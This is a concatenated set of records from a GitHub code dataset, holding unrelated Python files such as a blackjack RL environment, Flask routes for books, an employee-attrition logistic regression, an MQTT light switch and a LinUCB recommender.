BlackjackAction) -> Tuple[BlackjackState, int]:\n        \"\"\"\n        Play an action from either stick or hit. Return the resulting state, and optionally a reward if the episode\n        has terminated.\n        \"\"\"\n\n        assert self.in_play, \"Game is over. Call the reset method to start a new one.\"\n\n        if action == BlackjackAction.STICK:\n            # Dealer sticks on 17+ and hits otherwise.\n            self.turn = 'dealer'\n            while self.dealer_sum < 17:\n                self.dealer_cards.append(self.deck.draw_card())\n                if self.verbose:\n                    self.render()\n            self.in_play = False  # game will be over after this function call\n            dealer_sum = self.dealer_sum\n            player_sum = self.player_sum\n            if dealer_sum > 21:\n                return self.state, 1\n            elif dealer_sum > player_sum:\n                return self.state, -1\n            elif dealer_sum < player_sum:\n                return self.state, 1\n            else:\n                return self.state, 0\n        elif action == BlackjackAction.HIT:\n            self.player_cards.append(self.deck.draw_card())\n            if self.verbose:\n                self.render()\n            if self.player_sum > 21:\n                self.in_play = False  # game is over\n                return self.state, -1\n        return self.state, 0\n\n    def render(self):\n        print()\n        if self.turn == 'dealer':\n            print(\"Dealer:\", [card.face for card in self.dealer_cards], \"=\", self.dealer_sum)\n        else:\n            print(\"Dealer:\", ['x'] + [card.face for card in self.dealer_cards[1:]])\n        print(\"Player:\", [card.face for card in self.player_cards], \"=\", self.player_sum)\n\n\nclass BaseBlackjackAgent(ABC):\n    \"\"\"\n    Base class for any agent that plays BlackJack.\n    \"\"\"\n    @abstractmethod\n    def __init__(self):\n        pass\n\n    @abstractmethod\n    def choose_action(self, state: BlackjackState) -> BlackjackAction:\n        # Define a policy here\n        pass\n\n\nclass BasicBlackjackAgent(BaseBlackjackAgent):\n    \"\"\"\n    Agent sticks if their hand sums to some value above or equal to a given threshold, otherwise they hit.\n    \"\"\"\n\n    def __init__(self, stick_threshold):\n        self.stick_threshold = stick_threshold\n        self.policy = {\n            state: BlackjackAction.STICK if state.player_sum >= stick_threshold\n            else BlackjackAction.HIT for state in BlackjackState.all_states}\n\n    def choose_action(self, state: BlackjackState) -> BlackjackAction:\n        return self.policy[state]\n\n\nclass RandomBlackjackAgent(BaseBlackjackAgent):\n    def __init__(self, seed: int =0):\n        rand = random.Random(seed)\n        # policy is a mapping from a state to an action.\n        # Initialize a random policy.\n        self.policy = {state: rand.choice(list(BlackjackAction)) for state in BlackjackState.all_states}\n\n    def choose_action(self, state: BlackjackState) -> BlackjackAction:\n        return self.policy[state]\n","repo_name":"alexander-soare/deepmind_rl2021_notebooks","sub_path":"blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":7434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"23429344440","text":"# Create a network as following:\n#         s1  s2\n#\n#   s8    i1  i2    s3\n#   s7    i3  i4    s4\n#\n#         s6  s5\n#\n# Index of the initersection:\n#       1\n#   0   I   2\n#       3\n#\n\n\nfrom miniVnet import MINIVNET\n\n\nif __name__ == '__main__':\n    my_net = MINIVNET()\n    \n    my_net.createGridNetwork(3, 3)\n    ","repo_name":"IChihWang/Framework-For-UDTA","sub_path":"grid_example.py","file_name":"grid_example.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"37663404159","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport sys\n\nallCount = 0\ncountPng = 0\n\ndef getAllFileAndPath(path):\n    global allCount,countPng\n    # print(\"checkDir:\"+path)\n    for fileName in os.listdir(path):\n        filePath = os.path.join(path, fileName)\n        # print(os.path.abspath(filePath))\n        if os.path.isdir(filePath):\n            getAllFileAndPath(filePath)\n        elif os.path.isfile(filePath):\n            if fileName == \".DS_Store\":\n                continue\n            # if \".m\" in fileName or \".h\" in fileName:\n            if \".png\" in fileName:\n                countPng += 1\n            allCount += 1\n        else:\n            # print(\"不是文件夹也不是文件\")\n            pass\n        # print(\"%s isfile:%d\" % (fileName, os.path.isfile(filePath)))\n\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) > 1:\n        print(sys.argv[1])\n        dirPath = sys.argv[1]\n        if os.path.exists(dirPath):\n            # startTime = time.time()\n            getAllFileAndPath(dirPath)\n            print(\"allcount:\",allCount)\n            print(\"png:\",countPng)\n            # print(\"执行时间 %f\" % (time.time()-startTime))\n        else:\n            print(\"请输入正确的文件夹路径\")\n    else:\n        print(\"请输入需要检查的文件夹路径\")\n        print(\"eg:  python3 checkDulFilename.py Images\")\n","repo_name":"YueLiXing/PythonDemo","sub_path":"Tools/countFileNumber.py","file_name":"countFileNumber.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"31241744585","text":"from utils import preprocess, randomChoice\nimport numpy as np\nfrom PacketModel import Packet\nimport time\n\ndef deviceSim(model, testImagePath, modelName):\n    '''\n        * simulate a user device\n        * runs the image through the pretrained model up until the specified layer number\n    '''\n    start_time = time.time()\n    preprocessedImageList = preprocess(testImagePath, modelName)\n    deviceOut         = model.predict(preprocessedImageList)\n    total_time = time.time() - start_time\n    print(f\"Device simulation Complete in {total_time}!!\")\n    return deviceOut\n\ndef compress(deviceOut):\n    #initially identity function\n    return deviceOut\n\ndef transmit(compressOut, lossProb, rowsPerPacket):\n    #default packet length is one row of the feature map\n    #put this in a different function\n    start_time = time.time()\n    pckts        = Packet(compressOut, rowsPerPacket)\n    # print(compressOut[2000])\n    lossMatrix   = randomChoice(lossProb, pckts.packetSeq.shape[0])\n    print(time.time()-start_time)\n    # print(lossMatrix)\n    # pckts.packetSeq = (pckts.packetSeq)*lossMatrix[:, np.newaxis]\n    zeros_flags = np.where(lossMatrix==0)\n    print(time.time()-start_time)\n    # print(pckts.packetSeq.shape)\n    pckts.packetSeq[zeros_flags] = 0\n    total_time = time.time() - start_time\n    print(f\"Transmission Complete in {total_time}!!\")\n    return pckts\n\ndef remoteSim(remoteModel ,channelOut):\n    index = -1*channelOut.numZeros\n    data = channelOut.packetToData()\n    channelOut.packetSeq = channelOut.packetSeq[:index]\n    x = np.reshape(data, (channelOut.bS, channelOut.cols, channelOut.cols, channelOut.kernels))\n    return remoteModel.predict(x)\n","repo_name":"harshanavkis/Spimulation","sub_path":"simmods.py","file_name":"simmods.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"9178154838","text":"import logging\nimport numpy as np\nimport json\n\nfrom marlin.MotorController import MotorController\nfrom marlin.Provider import Provider\nfrom marlin.BlueBox import BlueBoxSensor, SensorType\nfrom marlin.BlueBox import BlueBoxPump\nfrom marlin.Battery import Battery\n\n\nclass Boat:\n    def __init__(self):\n        self.logger = logging.getLogger(__name__)\n        self.GPS = Provider().get_GPS()\n        self.APS = Provider().get_AbsolutePositionSensor()\n        self.sensors = [BlueBoxSensor(SensorType.PH),\n                        BlueBoxSensor(SensorType.DO),\n                        BlueBoxSensor(SensorType.EC),\n                        BlueBoxSensor(SensorType.DO_T),\n                        BlueBoxSensor(SensorType.Pressure),\n                        Battery()]\n        self.heading_sensor = Provider().get_heading()\n        self.motor_controller = Provider().get_MotorController()\n        self.autonomy = Provider().get_Autonomy()\n        self.goHome = Provider().get_GoHome()\n        self.acs = Provider().get_ACS()\n\n    def get_state(self):\n        state = {'sensors': [],\n                 'GPS': self.GPS.state,\n                 'APS': self.APS.state,\n                 'driving_mode': self.motor_controller.driving_mode,\n                 'heading': self.heading_sensor.get_state(),\n                 'autonomy': self.autonomy.get_info(),\n                 }\n\n        for sensor in self.sensors:\n            sensor_state = sensor.get_state()\n            if sensor_state is not None:\n                state['sensors'].append(sensor_state)\n\n        return state\n\n    def start_autonomy(self, data):\n        self.logger.debug(data)\n        data = json.loads(data)\n        try:\n            path = data['path']\n            self.autonomy.set_coordinates(path)\n            self.autonomy.start()\n            return True\n        except KeyError as e:\n            self.logger.info(e)\n            return False\n\n    def stop_autonomy(self):\n        self.autonomy.stop()\n        return True\n\n    def set_speed(self, data):\n        data = json.loads(data)\n        try:\n            speed = float(data['speed'])\n            self.autonomy.set_speed(speed)\n            return True\n        except KeyError as e:\n            self.logger.warning(e)\n        except ValueError as e:\n            self.logger.warning(e)\n        return False\n    \n    def go_home(self):\n        self.goHome.start()\n    \n    def set_home(self, data):\n        data = json.loads(data)\n        try:\n            lat = float(data['lat'])\n            lng = float(data['lng'])\n            self.goHome.set_home(lat, lng)\n            return True\n        except KeyError as e:\n            self.logger.warning(e)\n        except ValueError as e:\n            self.logger.warning(e)\n        return False\n\n    def set_pump(self, data):\n        if self.pump is None:\n            return True\n\n        try:\n            active = data['pump_on']\n            timer = data['pump_time']\n            self.pump.set_timer(timer)\n            self.pump.set_pump_state(active)\n            return True\n        except KeyError as e:\n            self.logger.warning(e)\n        except ValueError as e:\n            self.logger.warning(e)\n        return False\n","repo_name":"intcatch2020/marlin-raspberry","sub_path":"marlin/Boat.py","file_name":"Boat.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"38897056949","text":"from flask import render_template, redirect, request\nfrom flask_app import app\nfrom flask_app.models.book import Book\nfrom flask_app.models.author import Author\n\n# this route displays books.html\n@app.route('/books')\ndef books():\n    # call get_all() classmethod to display existing books\n    return render_template('books.html', all_books = Book.get_all())\n\n# this a POST route that will store the new book info\n@app.route('/create/book', methods=['POST'])\ndef create_book():\n    data = {\n        \"title\": request.form['title'],\n        \"num_of_pages\": request.form['num_of_pages']\n    }\n    Book.save(data)\n    #class #function #pass in data/input\n    return redirect('/books')\n\n# this route will display/call a specific book and the authors who favor it\n@app.route('/book/<int:id>')\ndef show_book(id):\n    # we will use data dictionary to store the id\n    data = {\n        \"id\": id\n    }\n    # call the respective classmethods and pass \"data\" as the argument, assign the results to a new variable\n    return render_template('book_favorites.html', this_book = Book.authors_who_fav(data), authors_not_associated = Author.authors_not_favored(data))\n\n# this a POST route that saves the dropdown option to associate an excluded author with the book\n@app.route('/add/author', methods=['POST'])\ndef add_author():\n    data = {\n        \"author_id\": request.form['author_id'],\n        \"book_id\": request.form['book_id']\n    }\n    # call the respective classmethod and pass \"data\" as the argument\n    Author.add_to_favorite(data)\n    # use an f string to convert the book_id so that it can be redirected\n    return redirect(f\"/book/{request.form['book_id']}\")\n","repo_name":"dgaoiran/Coding-Dojo-Python","sub_path":"books/flask_app/controllers/books.py","file_name":"books.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"1042984206","text":"\n\nimport os\nimport subprocess\n\nGIT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), \"..\", \".git\"))\nROOT = os.path.dirname(os.path.abspath(__file__))\nPATH = os.path.join(ROOT, \"version.txt\")\n\n\ndef read_version_txt() -> str:\n    with open(PATH, \"r\") as fp:\n        return fp.readline()\n\n\ndef write_version_txt(version: str):\n    with open(PATH, \"w\") as fp:\n        fp.write(version)\n\n\ndef read_version_git() -> str:\n    try:\n        return subprocess.check_output([\"git\", f\"--git-dir={GIT_DIR}\", \"describe\", \"--always\"]).strip().decode(\"utf-8\")\n    except Exception as e:\n        print(f\"exception in reading git version: {e}\")\n\n\ndef read_version() -> str:\n    version = read_version_git()\n    if not version:\n        version = read_version_txt()\n\n    return version\n\n\nif __name__ == '__main__':\n    print(read_version_txt())\n","repo_name":"hklarner/pyboolnet","sub_path":"pyboolnet/version.py","file_name":"version.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"51"}
+{"seq_id":"73015780637","text":"#!/bin/python\n# -*- coding: utf-8 -*-\n'''\nЗадание 11.2a\n\nС помощью функции parse_cdp_neighbors из задания 11.1\nи функции draw_topology из файла draw_network_graph.py\nсгенерировать топологию, которая соответствует выводу\nкоманды sh cdp neighbor из файлов:\n* sh_cdp_n_sw1.txt\n* sh_cdp_n_r1.txt\n* sh_cdp_n_r2.txt\n* sh_cdp_n_r3.txt\n\nНе копировать код функций parse_cdp_neighbors и draw_topology.\n\nВ итоге, должен быть сгенерировано изображение топологии.\nРезультат должен выглядеть так же, как схема в файле task_11_2a_topology.svg\n'''\nfrom pprint import pprint\nfrom task_11_1 import parse_cdp_neighbors\nfrom draw_network_graph import draw_topology\n\ninfiles = [ 'sh_cdp_n_sw1.txt',\n\t\t\t'sh_cdp_n_r1.txt',\n\t\t\t'sh_cdp_n_r2.txt',\n\t\t\t'sh_cdp_n_r3.txt']\n\ntopology = {}\n\nfor file in infiles:\n\twith open(file) as show_command:\n\t\tparsed = parse_cdp_neighbors(show_command)\n\t\tfor pk,pv in parsed.items():\n\t\t\tif not pk in topology.values():\n\t\t\t\ttopology[pk]=pv\n\npprint(topology)\n\ndraw_topology(topology)","repo_name":"Dezkiy/python_stady","sub_path":"exercises/11_modules/task_11_2a.py","file_name":"task_11_2a.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"10622496539","text":"# 加载包\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn import preprocessing\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.metrics import precision_score, recall_score, roc_auc_score, accuracy_score\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.decomposition import PCA\r\n\r\n# %% 数据EDA\r\ndf_data_train = pd.read_csv(open(r'./data/train.csv'))\r\nprint(df_data_train.describe())\r\nprint(df_data_train.info())\r\ndf_data_test = pd.read_csv(open(r'./data/test_noLabel.csv'))\r\n##\r\n# Age\t员工年龄\r\n# Label\t员工是否已经离职，1表示已经离职，2表示未离职\r\n# BusinessTravel\t商务差旅频率，Non-Travel不出差，TravelRarely不经常出差，TravelFrequently经常出差\r\n# Department\t员工所在部门，Sales销售部，Research & Development研发部，Human Resources人力资源部\r\n# DistanceFromHome\t公司跟家庭住址的距离，从1到29，1表示最近，29表示最远\r\n# Education\t员工的教育程度，从1到5，5表示教育程度最高\r\n# EducationField\t员工所学习的专业领域，Life Sciences表示生命科学，Medical表示医疗，Marketing表示市场营销，\r\n#                   Technical Degree表示技术学位，Human Resources表示人力资源，Other表示其他\r\n# EmployeeNumber\t员工号码\r\n# EnvironmentSatisfaction\t员工对于工作环境的满意程度，从1到4，1的满意程度最低，4的满意程度最高\r\n# Gender\t员工性别，Male表示男性，Female表示女性\r\n# JobInvolvement\t员工工作投入度，从1到4，1为投入度最低，4为投入度最高\r\n# JobLevel\t职业级别，从1到5，1为最低级别，5为最高级别\r\n# JobRole\t工作角色：Sales Executive销售主管，Research Scientist科学研究员，Laboratory Technician实验室技术员，\r\n#                    Manufacturing Director制造总监，Healthcare Representative医疗代表，Manager经理，\r\n#                    Sales Representative销售代表，Research Director研究总监，Human Resources人力资源\r\n# JobSatisfaction\t工作满意度，从1到4，1代表满意度最低，4代表最高\r\n# MaritalStatus\t员工婚姻状况，Single单身，Married已婚，Divorced离婚\r\n# MonthlyIncome\t员工月收入，范围在1009到19999之间\r\n# NumCompaniesWorked\t员工曾经工作过的公司数\r\n# Over18\t年龄是否超过18岁\r\n# OverTime\t是否加班，Yes表示加班，No表示不加班\r\n# PercentSalaryHike\t工资提高的百分比\r\n# PerformanceRating\t绩效评估\r\n# RelationshipSatisfaction\t关系满意度，从1到4，1表示满意度最低，4表示满意度最高\r\n# StandardHours\t标准工时\r\n# StockOptionLevel\t股票期权水平\r\n# TotalWorkingYears\t总工龄\r\n# TrainingTimesLastYear\t上一年的培训时长，从0到6，0表示没有培训，6表示培训时间最长\r\n# WorkLifeBalance\t工作与生活平衡程度，从1到4，1表示平衡程度最低，4表示平衡程度最高\r\n# YearsAtCompany\t在目前公司工作年数\r\n# YearsInCurrentRole\t在目前工作职责的工作年数\r\n# YearsSinceLastPromotion\t距离上次升职时长\r\n# YearsWithCurrManager\t跟目前的管理者共事年数\r\n# %%\r\nlst_content_remove = ['ID', 'EmployeeNumber', 'JobRole', 'JobLevel', 'Gender',\r\n                      'MaritalStatus', 'Department', 'EducationField', 'EnvironmentSatisfaction',\r\n                      'RelationshipSatisfaction', 'YearsWithCurrManager']\r\n\r\nfor _ in df_data_train:\r\n    lst_content_remove.append(_) if len(df_data_train[_].unique()) == 1 else None\r\nfor _ in df_data_test:\r\n    # print(_, len(df_data_test[_].unique()), '' if len(df_data_test[_].unique()) > 20 else df_data_test[_].unique())\r\n    lst_content_remove.append(_) if len(df_data_test[_].unique()) == 1 else None\r\n\r\n\r\n# df_data_train['MonthlyIncome_p_workyear'] = (df_data_train['MonthlyIncome'] - df_data_train['MonthlyIncome'].min()) / \\\r\n#                                             df_data_train['TotalWorkingYears']\r\n# df_data_train['workage'] = df_data_train['Age'] - df_data_train['TotalWorkingYears']\r\n# df_data_train['focus'] = df_data_train['YearsInCurrentRole'] / df_data_train['YearsAtCompany']\r\n# tmp_df = df_data_train[['MonthlyIncome', 'TotalWorkingYears', 'MonthlyIncome_p_workyear', 'Label']].corr()\r\n# tmp_df = df_data_train.corr()\r\n\r\nclass fe_num_label:\r\n    def __init__(self, dict_fe):\r\n        self.dict_fe = dict_fe\r\n\r\n    def get_num_label(self, label):\r\n        return self.dict_fe[label]\r\n\r\n\r\ndef feature_engineering(df):\r\n    df_cp = df.copy()\r\n    #\r\n    df_cp['MonthlyIncome_p_workyear'] = (df_cp['MonthlyIncome'] - df_cp['MonthlyIncome'].min()) / \\\r\n                                        (df_cp['TotalWorkingYears'] + 1)  # 平均收入增长=(收入-最小收入)/(工龄+1)\r\n    # df_cp['workage'] = df_cp['Age'] - df_cp['TotalWorkingYears']  # 起始工作年龄=年龄-工龄\r\n    df_cp['focus'] = (df_cp['YearsInCurrentRole'] + 1) / (df_cp['YearsAtCompany'] + 1) #在职时间/总工龄\r\n    fe_d = fe_num_label({'Non-Travel': 0, 'Travel_Rarely': 1, 'Travel_Frequently': 2})  # 出差情况转化成0,1,2\r\n\r\n    df_cp['BusinessTravel'] = df_cp['BusinessTravel'].map(fe_d.get_num_label)\r\n    # Sales销售部，Research & Development研发部，Human\r\n    # Resources人力资源部\r\n    fe_d = fe_num_label({'Life Sciences': 'Research & Development',\r\n                         'Medical': 'Research & Development',\r\n                         'Other': 'Other',\r\n                         'Technical Degree': 'Research & Development',\r\n                         'Human Resources': 'Human Resources',\r\n                         'Marketing': 'Sales'})\r\n    df_cp['department_match'] = (df_cp['EducationField'].map(fe_d.get_num_label) == df_cp['Department']).map(\r\n        lambda x: 1 if x else 0)  # 将学历专业和部门做比对.判断学历和工作内容是否相同,转化成0,1\r\n    df_cp['OverTime'] = df_cp['OverTime'].map(lambda x: 1 if x == 'Yes' else 0)  # 加班转化0,1\r\n\r\n    tmp_df = pd.get_dummies(df_cp['JobRole'])  # 工作角色做onehot后,乘以职业级别\r\n    for _ in tmp_df:\r\n        df_cp[_] = tmp_df[_] * df_cp['JobLevel']\r\n\r\n    for fe in ['Gender', 'MaritalStatus']:  # 性别和婚姻状态做onehot\r\n        tmp_df = pd.get_dummies(df_cp[fe])\r\n        for _ in tmp_df:\r\n            df_cp[_] = tmp_df[_]\r\n\r\n    lst_content_left = [_ for _ in df_cp if _ not in lst_content_remove]\r\n    df_cp = df_cp[sorted(lst_content_left)]\r\n    for _ in df_cp:\r\n        df_cp[_] = df_cp[_].astype(float)\r\n    return df_cp\r\n\r\n\r\ndf_data_train_fe = feature_engineering(df_data_train)\r\nprint(df_data_train_fe.corr())\r\ntmp_df = df_data_train_fe.corr()\r\ntmp_col = tmp_df[tmp_df['Label'].map(abs) >= 0].index\r\ndf_data_train_fe[[_ for _ in df_data_train_fe if (_ in tmp_col)]].to_csv(r'C:\\Users\\yi4fi\\Desktop\\train_data.csv',index=False)\r\nX, Y = df_data_train_fe[[_ for _ in df_data_train_fe if (_ != 'Label') and (_ in tmp_col)]], df_data_train_fe['Label']\r\n# df_data_train_fe, train_y = df_data_train_fe[[_ for _ in df_data_train_fe if (_ != 'Label') and (_ in tmp_col)]], \\\r\n#                             df_data_train_fe['Label']\r\n# for _ in range(10):\r\n# train_x, test_x, train_y, test_y = train_test_split(X, Y, test_size=0.2)\r\ntrain_x, train_y = X, Y\r\n\r\nss = preprocessing.StandardScaler()  # StandardScaler\r\ntrain_x = ss.fit_transform(train_x)\r\n\r\n# pca = PCA(n_components=0.98)  # 降到2维\r\n# train_x = pca.fit_transform(train_x)\r\n\r\n#\r\ntest_x = feature_engineering(df_data_test)\r\ntest_x[[_ for _ in test_x if (_ in tmp_col)]].to_csv(r'C:\\Users\\yi4fi\\Desktop\\test_data.csv',index=False)\r\ntest_x = ss.transform(test_x[[_ for _ in test_x if (_ != 'Label') and (_ in tmp_col)]])\r\n# test_x = pca.transform(test_x)\r\n# % 逻辑回归训练\r\n\r\nlr = LogisticRegression()\r\nlr.fit(train_x, train_y)\r\nprint('-' * 50)\r\nprint('训练集:', str(accuracy_score(train_y, lr.predict(train_x))))\r\n\r\n    #\r\n    # print('验证集:', str(accuracy_score(test_y, lr.predict(test_x))))\r\n\r\n\r\n# %%\r\n# def try_different_method(clf):\r\n#     clf.fit(train_x, train_y)\r\n#     score = clf.score(test_x, test_y)\r\n#     # score = clf.score(train_x, train_y)\r\n#     print('the score is :', score)\r\n#\r\n#\r\n# for clf_key in clfs.keys():\r\n#     print('the classifier is :', clf_key)\r\n#     clf = clfs[clf_key]\r\n#     try_different_method(clf)\r\n# %%\r\ndf_upload = df_data_test[['ID']]\r\ndf_upload['Label'] = lr.predict(test_x)\r\n# #\r\n# clfs['random_forest'].fit(train_x, train_y)\r\n# df_upload['Label'] = clfs['svm'].predict(test_x)\r\ndf_upload.to_csv('./data/upload.csv', index=False)\r\n# def ratio(lst):\r\n#     return sum(lst)/len(lst)\r\n#\r\n# tmp_df = df_data_train.corr()","repo_name":"ywan328/Business_Intelligence","sub_path":"Core_Class/lesson_1/作业1Attrition.py","file_name":"作业1Attrition.py","file_ext":"py","file_size_in_byte":8610,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"51"}
+{"seq_id":"35902263811","text":"import RPi.GPIO as board\nimport time\nfrom Adafruit_IO import MQTTClient\nimport requests\n\nlight = 3\nboard.setwarnings(False)               #rjrobocoder\nboard.setmode(board.BOARD)\nboard.setup(light,board.OUT)\nboard.setup(7,board.OUT)\n\nADAFRUIT_IO_USERNAME = \"rjrobocoder\"             #\"enter username here\"\nADAFRUIT_IO_KEY = \"hshjhsjdhuhnbja154djdghagg\"   #\"enter key here\"\n\ndef connected(client):\n    print ('Connected to Adafruit IO!  Listening for feed changes...')\n    client.subscribe('switch1') \n    \n \ndef disconnected(client):\n    print ('Disconnected from Adafruit IO!')\n    sys.exit(1)\n \ndef message(client, feed_id, status):\n    if feed_id == 'switch1':\n        \n        if status == 'ON':\n            print(\"Light 1 ON\")\n            board.output(light,True)\n           \n        elif status == 'OFF':\n            print(\"Light 1 OFF\")\n            board.output(light,False)\n         \n        \n            \nclient = MQTTClient(ADAFRUIT_IO_USERNAME, ADAFRUIT_IO_KEY)\nclient.on_connect    = connected\nclient.on_disconnect = disconnected\nclient.on_message    = message\nclient.connect()\nclient.loop_blocking()\n","repo_name":"rjrobocoder/Google-Assistant-Rpi-code-","sub_path":"google assistance.py","file_name":"google assistance.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"26682721821","text":"from typing import List\n\nfrom tortoise.query_utils import Q\n\nfrom uzen.models.scripts import Script\n\n\nclass ScriptSearcher:\n    @staticmethod\n    async def search(filters: dict) -> List[Script]:\n        \"\"\"Search scripts\n        \n        Arguments:\n            filters {dict} -- Filters for script search\n        \n        Returns:\n            List[Script] -- a list of matched scripts\n        \"\"\"\n        queries = []\n\n        snapshot_id = filters.get(\"snapshot_id\")\n        if snapshot_id is not None:\n            queries.append(Q(snapshot_id=snapshot_id))\n\n        sha256 = filters.get(\"sha256\")\n        if sha256 is not None:\n            queries.append(Q(sha256=sha256))\n\n        query = Q(*queries)\n\n        return await Script.filter(query).order_by(\"-id\")\n","repo_name":"Blue-infosec/uzen","sub_path":"uzen/services/script_searcher.py","file_name":"script_searcher.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"51"}
+{"seq_id":"72399057438","text":"import numpy as np\r\nfrom numpy import dot\r\nfrom numpy.linalg import inv\r\nfrom numpy import resize\r\nfrom numpy import reshape\r\nfrom math import sqrt\r\n\r\n\r\n###### global variables ##########\r\nALPHA = 0.3 # alphs = 1 + sqrt( ln(2/delta) / 2 )\r\ncurrent_article = 0\r\ncurrent_feature = []\r\n\r\nk = 36 # 6 * 6 = 36, 6 features of article and 6 features of user\r\nd = 6 # length of user features\r\nA_0 = np.identity(k)\r\nb_0 = np.zeros([k, 1])\r\nA_0_inv = np.identity(k)\r\nbeta = np.zeros([k, 1])\r\n\r\nArticle_A = {}\r\nArticle_A_inv = {}\r\nArticle_B = {}\r\nArticle_b = {}\r\nArticle_theta = {}\r\nAllArticles = {}\r\n\r\n\r\n# # construct dictionary AllArticles\r\n\r\ndef set_articles(articles):\r\n\tglobal Article_A, Article_b, Article_B, Article_A_inv, Article_theta\r\n\tglobal AllArticles\r\n\tAllArticles = articles\r\n\tArticle_A = dict.fromkeys(articles.keys(), np.identity(d) )\r\n\tArticle_A_inv = dict.fromkeys(articles.keys(), np.identity(d) )\r\n\tArticle_B = dict.fromkeys(articles.keys(), np.zeros([d,k]))\r\n\tArticle_b = dict.fromkeys(articles.keys(), np.zeros([d,1] ) )\r\n\t# Article_theta are zero matrix at beginning\r\n\tArticle_theta = dict.fromkeys(articles.keys(), np.zeros([d,1] ))\r\n\r\n\r\ndef update(reward):\t\r\n\tif reward != -1:\r\n\t\tglobal A_0, Article_B, Article_A, Article_b, b_0, Article_theta\r\n\t\tglobal AllArticles\r\n\t\tA_0 = A_0 + reduce(dot, [Article_B[current_article].T, Article_A_inv[current_article], Article_B[current_article]])\r\n\t\tb_0 = b_0 + reduce(dot, [Article_B[current_article].T, Article_A_inv[current_article], Article_b[current_article]])\r\n\t\tArticle_A[current_article] = Article_A[current_article] + dot(current_feature, current_feature.T)\r\n\t\tz_current  = dot(resize(AllArticles[current_article],[d,1]), current_feature.T)\r\n\t\tz_current.resize( [k,1] )\r\n\t\tArticle_B[current_article] = Article_B[current_article] + dot(current_feature, z_current.T)\t\r\n\t\tArticle_b[current_article] = Article_b[current_article] + reward * current_feature\r\n\t\tA_0 = A_0 + dot(z_current,z_current.T) - reduce(dot, [Article_B[current_article].T, Article_A_inv[current_article], Article_B[current_article]])\r\n\t\tb_0 = b_0 + reward*z_current - reduce(dot, [Article_B[current_article].T, Article_A_inv[current_article], Article_b[current_article] ])\r\n\t\tA_0_inv = inv(A_0)\r\n\t\tbeta = dot(A_0_inv, b_0)\r\n\t\tArticle_theta[current_article] = reduce(dot, [Article_A_inv[current_article], (Article_b[current_article]- dot(Article_B[current_article], beta))])\r\n\r\n\r\ndef reccomend(time, user_features, articles):\r\n\tglobal beta, A_0, b_0, current_feature\r\n\tx = resize(user_features,[d,1])\r\n\tcurrent_feature = x\r\n\tucb_max = -np.inf\r\n\tchoosen = 0\r\n\tfor art in articles:\r\n\t\t# if art not in AllArticles:\r\n\t\t# \tglobal Article_A, Article_B, Article_b\r\n\t\t# \tArticle_A[art] = np.identity(d)\r\n\t\t# \tArticle_B[art] = np.zeros([d,k])\r\n\t\t# \tArticle_b[art] = np.zeros([d,1])\r\n\t\t# \tAllArticles.add(art)\r\n\r\n\t\t\r\n\t\tglobal AllArticles\r\n\t\tfeature_art = resize(AllArticles[art],[d,1])\r\n\t\tz = reshape(dot(feature_art, x.T), [k,1])\r\n\r\n\t\ts = reduce(dot, [z.T, A_0_inv, z]) - 2 * reduce(dot, [z.T, A_0_inv, Article_B[art].T, Article_A_inv[art], x ]) + \\\r\n\t\treduce(dot, [x.T, Article_A_inv[art], x ]) + reduce(dot, [x.T, Article_A_inv[art], Article_B[art], A_0_inv, Article_B[art].T, Article_A_inv[art], x])\r\n\t\tucb_current = dot(z.T, beta) + dot(x.T, Article_theta[art]) + ALPHA * sqrt(s)\r\n\t\tif ucb_current> ucb_max:\r\n\t\t\tucb_max = ucb_current\r\n\t\t\tchoosen = art\r\n\r\n\tglobal current_article\r\n\tcurrent_article = choosen # save the current \r\n\treturn choosen\r\n\r\n\r\n\r\n","repo_name":"chenlu11/DM-AS15","sub_path":"Project4 BANDIT - Explore-Exploit tradeoffs in Recommender Systems/code/policy_Hybrid.py","file_name":"policy_Hybrid.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
